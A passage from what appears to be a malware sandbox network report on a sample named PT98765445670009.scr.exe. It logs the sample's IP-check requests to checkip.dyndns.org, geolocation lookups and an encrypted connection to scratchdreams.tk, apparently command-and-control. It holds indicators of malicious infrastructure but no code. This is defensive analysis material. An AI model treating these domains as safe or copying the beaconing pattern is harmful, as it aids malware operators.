Mar 27, 2024 11:24:12.109441042 CET	80	49708	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:12.109497070 CET	49708	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:12.287821054 CET	80	49710	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:12.289089918 CET	80	49710	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:12.290379047 CET	49711	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:12.290425062 CET	443	49711	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:12.290512085 CET	49711	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:12.290733099 CET	49711	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:12.290744066 CET	443	49711	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:12.333307981 CET	49710	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:12.488100052 CET	443	49711	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:12.489928007 CET	49711	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:12.489953041 CET	443	49711	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.023262978 CET	443	49711	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.023370028 CET	443	49711	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.023657084 CET	49711	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.024077892 CET	49711	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.027620077 CET	49710	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:13.028769970 CET	49712	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:13.207444906 CET	80	49710	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:13.209867001 CET	49710	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:13.212235928 CET	80	49712	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:13.213258028 CET	49712	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:13.213402033 CET	49712	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:13.397090912 CET	80	49712	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:13.397728920 CET	80	49712	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:13.399061918 CET	49713	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.399100065 CET	443	49713	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.399192095 CET	49713	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.399431944 CET	49713	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.399445057 CET	443	49713	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.442761898 CET	49712	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:13.602525949 CET	443	49713	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.604150057 CET	49713	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.604173899 CET	443	49713	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.843760014 CET	443	49713	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.843868017 CET	443	49713	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:13.843928099 CET	49713	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.844635010 CET	49713	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:13.858161926 CET	49712	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:14.041815042 CET	80	49712	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:14.041933060 CET	49712	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:14.199594021 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:14.199641943 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:14.199712992 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:14.200110912 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:14.200124025 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:14.404936075 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:14.405040979 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:14.408391953 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:14.408401966 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:14.408628941 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:14.409965992 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:14.452234983 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:45.768456936 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:45.768523932 CET	443	49714	104.21.27.85	192.168.2.7
Mar 27, 2024 11:24:45.768707037 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:24:45.774362087 CET	49714	443	192.168.2.7	104.21.27.85
Mar 27, 2024 11:25:14.217478037 CET	80	49704	193.122.6.168	192.168.2.7
Mar 27, 2024 11:25:14.217581987 CET	49704	80	192.168.2.7	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2024 11:24:05.195822954 CET	50276	53	192.168.2.7	1.1.1.1
Mar 27, 2024 11:24:05.290826082 CET	53	50276	1.1.1.1	192.168.2.7
Mar 27, 2024 11:24:05.955574036 CET	51311	53	192.168.2.7	1.1.1.1
Mar 27, 2024 11:24:06.051738977 CET	53	51311	1.1.1.1	192.168.2.7
Mar 27, 2024 11:24:13.858851910 CET	56212	53	192.168.2.7	1.1.1.1
Mar 27, 2024 11:24:14.198926926 CET	53	56212	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 27, 2024 11:24:05.195822954 CET	192.168.2.7	1.1.1.1	0xd2d4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:05.955574036 CET	192.168.2.7	1.1.1.1	0x2cba	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:13.858851910 CET	192.168.2.7	1.1.1.1	0xa1d1	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 27, 2024 11:24:05.290826082 CET	1.1.1.1	192.168.2.7	0xd2d4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2024 11:24:05.290826082 CET	1.1.1.1	192.168.2.7	0xd2d4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:05.290826082 CET	1.1.1.1	192.168.2.7	0xd2d4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:05.290826082 CET	1.1.1.1	192.168.2.7	0xd2d4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:05.290826082 CET	1.1.1.1	192.168.2.7	0xd2d4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:05.290826082 CET	1.1.1.1	192.168.2.7	0xd2d4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:06.051738977 CET	1.1.1.1	192.168.2.7	0x2cba	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:06.051738977 CET	1.1.1.1	192.168.2.7	0x2cba	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:14.198926926 CET	1.1.1.1	192.168.2.7	0xa1d1	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
Mar 27, 2024 11:24:14.198926926 CET	1.1.1.1	192.168.2.7	0xa1d1	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

scratchdreams.tk

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:05.501516104 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 27, 2024 11:24:05.681735992 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:05 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6741e569576b125a69d17c6ebb747f04 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>
Mar 27, 2024 11:24:05.712584972 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 27, 2024 11:24:05.893754959 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:05 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a387839ce3bafaace5cc4171584b80fe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>
Mar 27, 2024 11:24:06.802086115 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 27, 2024 11:24:06.982444048 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:06 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f603bcc5cdb55dea973ca6099626eacf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:07.900430918 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 27, 2024 11:24:08.080908060 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:07 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 751c978a30d2fc8d3421c5ea9b72c9d8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49704	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:09.032620907 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 27, 2024 11:24:09.214004040 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:09 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3b42f5669eae4d64dff08b8b4b640465 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49706	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:10.149310112 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 27, 2024 11:24:10.334887981 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:10 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4563f6d065799dae82b35789f0be3f25 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49708	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:10.967328072 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 27, 2024 11:24:11.151983023 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:11 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0286eaba19cfcc1aeffa75199429ad1b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49710	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:12.108155012 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 27, 2024 11:24:12.289089918 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:12 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bfbfb4924607b906eafbac6e805c73ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49712	193.122.6.168	80	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2024 11:24:13.213402033 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 27, 2024 11:24:13.397728920 CET	322	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:13 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d3f78e6bac064e0a0dfe851d97092180 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.165.48.43</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:06 UTC	86	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-03-27 10:24:06 UTC	693	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:06 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 27 Mar 2024 10:24:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bqwVxyHKGQLrH9nRjvM4kUskMrFQufv2rqcNG2tPxm3Q9Fu22PbAtTggXrCcX4yBFwLBizepH34RyclEZhwvnmJAQ7RJhurZZW3rZIH4bgKO%2FBCo2i4Fub2OnO%2F7UeLjaD9cJpcS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab383f832419-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:06 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:07 UTC	62	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org
2024-03-27 10:24:07 UTC	701	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:07 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 27 Mar 2024 10:24:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bFpabAWoOODQu%2BLmL2T%2Bp1T2SES1iAivdh72WDuBUoJ59gO4Q0ikIbO2JYZ%2FsqccNyDMZn7z7ObtwBqxy4Tf092DsTcucS7ZaP4yHd8bIIAeDuGuPgvSI%2Fl%2B3Ab6Fg0330C%2BaMyU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab3e08028263-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:07 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:08 UTC	62	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org
2024-03-27 10:24:08 UTC	703	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 27 Mar 2024 10:24:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KN%2FjHI4Yj%2F0GUwAAuXAhF%2FEv4Tba97m%2B6Q2oWBzZiUK1Ew2iNzQEr4VBW7k0HvwdMwiJzDF4dvCECK%2FMCAYHuZTwN6TQVGAWzWAuJIBRhc9Wb4cl5BcR%2BUpGNPgu2osnuUc%2BPhcl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab44e9cc584e-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:08 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49705	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:09 UTC	86	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
